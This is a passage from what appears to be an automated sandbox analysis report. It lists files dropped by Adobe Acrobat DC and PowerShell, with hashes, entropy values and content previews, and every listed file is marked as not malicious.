SHA-512:	CF9157AC440C00739E2CEE77459B708D509E2A850C7991FB266209C45AF139D149B79EB5BA0B229E587DB5D5E2A394782B40EA16E8E7A24FD71CE42BDE7282D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.328549939394488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfQ1rPeUkwRe9:YvXKXOSofVrT5LjIPC5GY16Ukee9
MD5:	26484EE4EDEEBFB10C9290000BF3D795
SHA1:	13264F751FE552C36FD3576317C1EE9DCAB2379F
SHA-256:	BD5CCBFC5EC2E1CB496DCD2D27E404A9D8EE89A89D6A0DA7ABD9E94117271FDD
SHA-512:	FED0BB0C4E61C3A32E0BED4D8FF5EF19B4C6A5DC62E60CB17746DD7943B4B004A10374548BDD4B8CD82BB27AB9758F287C5D4879CAD3571811758A9BEDD1ACE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.346151245282931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfFldPeUkwRe9:YvXKXOSofVrT5LjIPC5Gz8Ukee9
MD5:	022AF1CE5B127D467C5D06093EC3B1BB
SHA1:	DD49BA4C5AC3718AC4FCBF186A2A1DD65E3C8CD1
SHA-256:	B6B5E5CFCE94682C00F9B7FCEFA00D89177429720334322EDC8D939D4244542A
SHA-512:	333FF3B4A8F1E3AA02067FFCCF6D9EB2232520D518CB55D8AD9EEF58DDE9DF760E016829007D510D62DF11D9CF7519621FC11CCCF241EAC57FD5A4F320403D55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362870587178844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfzdPeUkwRe9:YvXKXOSofVrT5LjIPC5Gb8Ukee9
MD5:	B260B877899C50F5A6AC43BD15966BFC
SHA1:	842BC0EEA52D0E7F7F5CA4E8A504DF7AAF158825
SHA-256:	0CC572492FAF43AE44A94BB09BEDBE818181294CFC568BD3CF0ECE3EB7B5F391
SHA-512:	CCC5A3D8CBD68D742D421255A8DCC82F9F922D158B67B18C3F9886AD5A62AA07960B072F03574B797893E3666A66385D06AD6BC2502F6479F649D6E7C3A76D1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.344123770693403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfYdPeUkwRe9:YvXKXOSofVrT5LjIPC5Gg8Ukee9
MD5:	8AAB6C47701C562FF1086CDE51B50F6D
SHA1:	8BD820B5C109D5356116F988170EEACFEC316DFF
SHA-256:	08D6D2F273FFFA4CFF58A997187539BF3EAD22F29AA9640035F67FD60EAC0F25
SHA-512:	78A7FBDFEC5C8A61BC00ABCF69EFDBFC63482933000F01C65333EA20628006A1D7C8BF9F3A40CD4DCA063D608237DD283DBA50C4241D80986E422466E4642608
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.3309509704651035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJf+dPeUkwRe9:YvXKXOSofVrT5LjIPC5G28Ukee9
MD5:	DC8AC23A9ADA5E3A5485D1A0DAFA3141
SHA1:	0362BCCD84A980F2F950B089E40EA2190CEC6C49
SHA-256:	1FC539A8D2C6372DFB0D37A6AAE0FC6DF146652D0B87DB8FBD6BA4D75BC83033
SHA-512:	0CAA206B813EBB4E06948A924F331F1943395D82A792E4FB63DAA62A63F38679366671268EE25BB873FC716AF7E519824E57B0D75CB5BF4F14BFF67E5530A962
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.327367612211298
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfbPtdPeUkwRe9:YvXKXOSofVrT5LjIPC5GDV8Ukee9
MD5:	86550B0C30C6E63FBE50DC63C21D3A65
SHA1:	534B01B9FF430544AFE0DD9A8471A410F12EEC59
SHA-256:	5AB23EFE90D8704C2647EF5BE6AAFD1A8A97371114CFCF904D912DE856642448
SHA-512:	9551EFBDD8386C84EEF285FA4CEA4E04AB8033F5AAC60411DCC3A44501EF1C6FC8BD68E53B910E7987E79FE59270F54A51B89CD86AF30FBFDCFF6D42FADF5A41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.319738278604769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJf21rPeUkwRe9:YvXKXOSofVrT5LjIPC5G+16Ukee9
MD5:	C9FE80E0B6F04CCF498D5BB0D4CDFFA0
SHA1:	D9B55C45D08F1DF17F7A89922A28CAC058D53852
SHA-256:	AEF4EA2FB7C6BA60228A2D2CB5AD75080053CD0C63C15310D2C4878A11A4073B
SHA-512:	33C51EE6DF52530739130AEA85B4317EC402A117902CB12913DC1BAE938AA84EC632578A17D23EA22C75B1E21138D3386BC54B881892E7B8BED9889EF20E86A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.674268483482777
Encrypted:	false
SSDEEP:	24:Yv6XOSofVrT5XIaCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq:Yv7LbXOBgkDMUJUAh8cvMq
MD5:	B173E6AB86CB506CAF2FC5BC197DDF71
SHA1:	8F3B162634175C6F43BDB749DD0F9E347211D2B8
SHA-256:	1DC4B3206130477593E9890471FD25841DB6D35E1E187D09158525AAF115D104
SHA-512:	930D9529826B5567511BD8B0EBC4C15796F3174A116937421DC3B1F843B551E334BB7ECE1D79EF526180247C5F64AE7C28390A7D31F98A219C633A8CE8895C18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.294663815564463
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJfshHHrPeUkwRe9:YvXKXOSofVrT5LjIPC5GUUUkee9
MD5:	5A1B7232181266A0884057B4CEF2787C
SHA1:	891FBF223559D04FE624DA091E4561E636C73782
SHA-256:	9F28172CE2AF6F9D2FD988AC3989A2FB8D9B2CFA609BA85F1F67321D64144ED0
SHA-512:	1D8F2282EADADD6E6D91EB54088D5C5C9D7C20ED3476A77C59FCC35A4B05B83BA0F4B475DB52E1996157EEA6B29E3876385578CB2BB7109DA1AE5ED07D599343
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.297507375458956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQA7PGSvHgfV4mSg1c2LjcWkHvR0Y+KoAvJTqgFCrPeUkwRe9:YvXKXOSofVrT5LjIPC5GTq16Ukee9
MD5:	1E39D04D39223CA8BB1933E4019D5E11
SHA1:	724BED52947D26096EF0867DAFB92A4AE9EC4FF9
SHA-256:	D08B7961B5A549D4D2D25CEA874D49DC92997E357DB4547A29C13CE2F867DEF3
SHA-512:	5E9E264D8C274709FAC612D7B83B544418797032FEC8CE53BC80EE33B21BFE74B1B74050DC4ADAA1946D9F8754EA5A5DF3B89D0B3BF5DAAF9638AD34E28C42D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"858f3fe5-4190-495f-b07a-c72f6bb94d06","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713109503,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135151909032582
Encrypted:	false
SSDEEP:	24:YjEJKzVq1lQj4PQarEnLlCd2lmV2LSDCc62UaE0CHay+yUq3jnxj0SMN8Hp5NS9J:Yj3Vq1XrKe8mVNZ6eyrn14ypPS9EM
MD5:	B9D5FCE03639555990BA90316F360940
SHA1:	527E96DA5D042F47CD1211DA17E961C189610D1E
SHA-256:	0BA1F2BB8FC2975ECE36BF9D05B6E0C7EF1792BC44E7CBCD3B3C44EB3C9956B8
SHA-512:	5DA7060417B4C64602E28D5654CE787EB791F4924DB6B2D6CCB654A7D1B69FDB5BC8CF339B0A97A5DEB7F0416152C583B68C011A3C0D576DFCD3CF7C7F375CF6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"04e45999ab4bb608e6fd18543e4af00f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736535794000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f7086d87e9ad3da4c68c1a08a68b9ed5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736535794000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c62cb8405d06d9c17b3b83433edbc851","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736535794000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"b130670b9248eec51a942054f737074c","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736535794000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"3f0fadb3ae7a95e86329f96f553da901","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file","size":291,"ts":1736535794000},{"id":"DC_Reader_Upsell_Cards","info":{"dg":"bc27c297994a80f1d3d317fb48ae9f3e","sid":"DC_Reader_Upsell_Cards"},"mimeType":"file","size":286,

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3667073758544188
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuav0XKdqEKfS8EKfM1baSv0F:Tll2GL7msMcKTlS8fcsuaDfISg
MD5:	B55B4819E37B00BF63A9A3E9BDF25162
SHA1:	4F72D8DD858DCD81026977C35A5F922C80835863
SHA-256:	F7C7272387DF90E7B2CE5BF3299920DF5BAF0F6C96B5CA0E85C58E508168E1CF
SHA-512:	7EA2104B86A55C7C72173AC0C543A776D6444C208368710F27B252FAF19B013E11C66E8D29C682DAEFFAC4FA86A20823C7CABC5E2CCE17694E288976DEDB1424
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.843811985811853
Encrypted:	false
SSDEEP:	24:7+tFwZ6bqyKn6ylSTofcNqDuav0+KdqEKfS8EKfM1banbqBfqLKufx/XYKQvGJFh:7MscKTlS8fcsuamfIgfqGufl2GL7msR
MD5:	116A3BF63D17D3667D49A47657C93C07
SHA1:	8680DC2ADDAE4FC755F21CC46B6CEBA92102D2E5
SHA-256:	DC9D40829C68ABD4BAEFF8BA53AC58050FCBB0B9960FC6B59FAB9CEA0DE8B387
SHA-512:	306C78F7BB0ABEAD5FE87AF85206E94468771232720BBC60F82980456EBD3FDCA1EDFC500DBED6B2464D58C6F81320D7C9FF7AB71517E409145D8D62514CF6D9
Malicious:	false
Preview:	.... .c.....x"............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgU+Dtlj+fFiTeIv3KXgkHoWNE7zYyu:6a6TZ44ADEU+8iTeU6wXMQzK
MD5:	A651EE804AF68245C15259CDBEEAFA0C
SHA1:	462A406AC211CA6A36141559919F1B9C874D0BD7
SHA-256:	2528AA9B24DDB2E10A779499CFA782E5D42624E2BF2FE970C0AEF8310ACE69D0
SHA-512:	C19D81D09996054F22AFBDFA7175DDDE643BF91FB66131EC61B524056ABEFE2C3E3C15DEE8E15E51F8090D552922CE15204786B9D020562E87E82594C87F0CD0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulzh8//h:NllUu
MD5:	2D936C9957097D6631C64386010C648E
SHA1:	AD0125A442F7BD53E9959CB996B58A685B09B85E
SHA-256:	C93CB35DFCB4C1F5BD3B665C67D749E585887E56B9081D0E9FC47F54909E7119
SHA-512:	27B07DBB385D27EF522ED09079877C6EBE9444FBE1E4401AF8BABB4B2EE4FC1CF7BC1A09B31A3A52ACA217B40E2B8207A5441D04F1C6D9A44C05E51C4D49E4AB
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI5b7ea.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERE8H:Qw946cPbiOxDlbYnuRK+bD+8H
MD5:	42BDE05D69ADF356FBDF61272140533A
SHA1:	32BE3E68B586E5780F8D9E86456398E6EF5134BC
SHA-256:	C94FAA5019F0D6DC6AA4ED6724D9101B66FB819592646D323AC45A3B766F7B04
SHA-512:	9A247DA8E06CC89D3E91AEF83D5E6652FD58A4CACD8BB9C993E0DE1218650F69BDE4362EF83116A865279244D4E58591A343A98F6ADDF083D3976B256BDBC9A6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.0.3.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ri1btmp.cxs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yymezmwy.4vq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-03-06-345.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367968933997713
Encrypted:	false
SSDEEP:	384:5TJOTH8THdTHkTHaTHvTHTqTAHTA0TAWTAXTApTASTCNfTjNTjPTh9TCRTCHTCrH:bQ0
MD5:	89F52A72A0C5E1771FE2F68345C9809B
SHA1:	5F199698B2BFBC6BCF95B4871473AA1A241FCB80
SHA-256:	FF777271F65E4FAFD5153796E7D72F569B22FC4F26C08752DBD737B1E90F5950
SHA-512:	A0CB3C6534DD1D5E7F5392CD03D538F8D145D8BFDCC34493E253113E652B141A90590FF8CBC422634E5AA0BBF25E27A2C09A3AB0FDE06F3417A4128A51161140
Malicious:	false
Preview:	SessionID=b612375c-cbcc-4d4f-879b-cfa4ce1a0634.1736535786361 Timestamp=2025-01-10T14:03:06:361-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b612375c-cbcc-4d4f-879b-cfa4ce1a0634.1736535786361 Timestamp=2025-01-10T14:03:06:381-0500 ThreadID=2024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b612375c-cbcc-4d4f-879b-cfa4ce1a0634.1736535786361 Timestamp=2025-01-10T14:03:06:381-0500 ThreadID=2024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b612375c-cbcc-4d4f-879b-cfa4ce1a0634.1736535786361 Timestamp=2025-01-10T14:03:06:381-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b612375c-cbcc-4d4f-879b-cfa4ce1a0634.1736535786361 Timestamp=2025-01-10T14:03:06:381-0500 ThreadID=2024 Component=ngl-lib_NglAppLib 